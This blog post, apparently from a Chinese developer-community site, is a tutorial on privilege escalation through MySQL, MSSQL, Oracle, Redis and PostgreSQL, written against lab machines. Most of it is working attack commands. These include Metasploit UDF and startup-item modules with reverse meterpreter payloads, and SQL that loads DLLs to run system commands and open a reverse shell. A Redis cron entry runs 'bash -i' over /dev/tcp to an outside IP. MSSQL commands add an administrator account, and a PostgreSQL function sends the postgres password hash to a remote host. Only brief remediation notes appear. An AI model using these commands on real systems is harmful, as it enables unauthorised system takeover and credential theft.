前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【权限提升】六种数据库提权&口令获取

【权限提升】六种数据库提权&口令获取

作者头像
今天是几号
发布2024-07-18 14:19:23
650
发布2024-07-18 14:19:23
举报
文章被收录于专栏:Cyber Security

MYSQL-UDF&MOF&启动项&反弹Shell

通过webshell查看phpmyadmin中配置文件(confiug.default.php)获取数据库账号密码

代码语言:javascript
复制
或者查看CMS配置文件(config.php等)

1、UDF 配合MSF命令绑定 提权

UDF(Userdeined function)用户自定义函数,是mysql的一个接口,可以为mysql增添一些函数并且使用

提权条件
  • 已经获得当前数据库最高权限用户账号和密码
  • -secure-file-priv没进行目录限制(值为空,mysql有写入文件的权限。secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限)
上传UDF动态链接库文件

动态链接库是实现共享函数库的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so,将该文件放到特定的目录中,该文件包含了执行系统命令的一些函数

获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续

1.mysql<5.2 导出目录c:/windows或system32

2.mysql=>5.2 导出mysql安装目录/lib/plugin/(plugin文件夹默认不存在,需要创建)

代码语言:javascript
复制
select version() #mysql的版本
代码语言:javascript
复制
select @@basedir #MySQL 的安装路径

通过文件管理进入C:/phpStudy/PHPTutorial/MySQL/lib/plugin 该路径下

phpstudy搭建默认没有plugin子目录,需自己手动创建或利用NTFS流创建 。

使用MSF(kali 10.10.10.129)中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权

MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

MSF:(前提先开外联)

root用户默认没开启外联,仅支持本地连接

代码语言:javascript
复制
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
代码语言:javascript
复制
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (这里更换了靶机)
run

[-] 10.10.10.1:3306 - MySQL Error: RbMysql::ServerError::OptionPreventsStatement The MySQL server is running with the --secure-file-priv option so it cannot execute this statement #报错是因为启动MySQL默认开启--secure-file-priv这个参数,参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置 secure_file_priv=null 不允许文件的导入导出 secure_file_priv=xxx 文件导入导出到固定路径 secure_file_priv=/ 文件可导入到任意路径 #关闭--secure-file-priv参数 my.ini 加入一行 [mysqld] secure_file_priv = 重启phpstudy

重新run

上传成功

Navicat:

开外联后使用MSF导出,在执行后续命令调用执行

代码语言:javascript
复制
select * from mysql.func where name = "sys_exec"; //查看
代码语言:javascript
复制
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll
代码语言:javascript
复制
select sys_eval("whoami");//调用函数进行命令执行

自此从数据库权限提权至系统用户权限,后续进行远程下载后门,以及执行。

2、MOF-Win2008后权限控制导致无效-MSF演示

https://www.cnblogs.com/xishaonian/p/6384535.html

MSF:use exploit/windows/mysql/mysql_mof

提权较难成功

3、启动项 配合 MSF提权

MSF:(前提先开外链)

代码语言:javascript
复制
use exploit/windows/mysql/mysql_start_up
set rhosts 10.10.10.151
set username root
set password root
run

后续服务器重启,自动执行启动项,执行后门文件

4、反弹Shell

Mysql提权之反弹shell_^quxjg$c46496a646d7a9ca23ade2e5dfddc06c7e5efe9a7-CSDN博客

代码语言:javascript
复制
use mysql;
set @a=concat('',xxxx);//具体payload见上方链接
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'D:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';//创建后门函数绑定udf.dll
select backshell('10.10.10.129',7788)//传入两个参数执行

主要是secure_file_priv 是否允许导入导出文件(固定目录),高版本mysql默认开启,mysql提权前提条件

MSSQL-xp_cmdshell&sp_oacreate&沙盒

参考资料:SQL Server提权方法汇总(MSSQL)

1.使用xp_cmdshell进行提权(位置:系统数据库.master.可编程性.扩展存储过程.xp_cmdshell 作用:调用cmd执行 系统命令和数据库相互调用)

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

启用xp_cmdshell

代码语言:javascript
复制
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭

代码语言:javascript
复制
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行

代码语言:javascript
复制
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

sql server 默认支持外联

2.使用sp_oacreate进行提权

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。

默认禁用:

启用sp_oacreate模块

代码语言:javascript
复制
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   

关闭

代码语言:javascript
复制
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;  

执行命令

代码语言:javascript
复制
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3.使用SQL Server 沙盒提权

代码语言:javascript
复制
exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

这里执行命令遇到了报错: [SQL]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') [Err] 42000 - [SQL Server]因为 OLE DB 访问接口 'microsoft.jet.oledb.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。 查资料说是64位操作系统的问题,在靶机上sql server 环境上执行也没有成功。(可能是需要sql服务器端32位)

参考资料:OLE DB 访问接口 'Microsoft.Jet.OLEDB.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询 - 天生我豺 - 博客园 (cnblogs.com)

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式 `1` :为仅在允许范围内 `2` :必须在access模式下 `3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

代码语言:javascript
复制
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; 
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; 
--exec sp_configure 'show advanced options',0;reconfigure;

Oracle-普通用户&注入提升模式&DBA模式

https://github.com/jas502n/oracleshell

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

3、注入提升模式:(Sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

Redis数据库权限提升-计划任务

连接(未授权或有密码)-利用如下方法提权

采用未授权直接利用,密码进入需获取配置文件读取

1、设置键值为反弹命令的计划任务写法

2、设置写入目录为/var/spool/cron/

3、设置写入文件名为xiaodi

4、保存执行

set x "\n* * * * * bash -i >& /dev/tcp/47.114.103.63/7788 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename xiaodi

save

参考:Redis未授权访问漏洞利用总结_redis漏洞利用-CSDN博客

(1).利用计划任务执行命令反弹shell

(2).写ssh-keygen公钥然后使用私钥登陆

(3).权限较低往web物理路径写webshell

修复方案:

注意:以下操作,均需重启 Redis 后才能生效。

绑定需要访问数据库的IP。 将127.0.0.1修改为需要访问此数据库的IP地址。

设置访问密码。在 Redis.conf中requirepass 字段后,设置添加访问密码。

修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。

PostgreSQL数据库权限提升-漏洞

提权利用的是漏洞:CVE-2018-1058 CVE-2019-9193

连接-利用漏洞-执行-提权

参考:Vulhub - Docker-Compose file for vulnerability environment

修复方案:升级版本或打上补丁

CVE-2018-1058

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

vulhub搭建靶机

先通过普通用户vulhub:vulhub的身份登录postgres

1、普通用户植入后门命令
代码语言:javascript
复制
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=47.94.130.42 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
2、管理员操作数据库触发
代码语言:javascript
复制
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
3、成功反弹hsell

CVE-2019-9193

其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

代码语言:javascript
复制
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

非root权限(UID 0 root用户 UID 1~999 是占坑用户,即一写无法登录的用户),更改执行参数进行命令执行

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MYSQL-UDF&MOF&启动项&反弹Shell
    • 1、UDF 配合MSF命令绑定 提权
      • 提权条件
      • 上传UDF动态链接库文件
    • 2、MOF-Win2008后权限控制导致无效-MSF演示
      • 3、启动项 配合 MSF提权
        • 4、反弹Shell
        • MSSQL-xp_cmdshell&sp_oacreate&沙盒
          • 1.使用xp_cmdshell进行提权(位置:系统数据库.master.可编程性.扩展存储过程.xp_cmdshell 作用:调用cmd执行 系统命令和数据库相互调用)
            • 2.使用sp_oacreate进行提权
              • 3.使用SQL Server 沙盒提权
              • Oracle-普通用户&注入提升模式&DBA模式
                • 1、普通用户模式:
                  • 2、DBA用户模式:(自动化工具演示)
                    • 3、注入提升模式:(Sqlmap测试演示)
                    • Redis数据库权限提升-计划任务
                    • PostgreSQL数据库权限提升-漏洞
                      • CVE-2018-1058
                        • 1、普通用户植入后门命令
                        • 2、管理员操作数据库触发
                        • 3、成功反弹hsell
                      • CVE-2019-9193
                      相关产品与服务
                      数据库
                      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档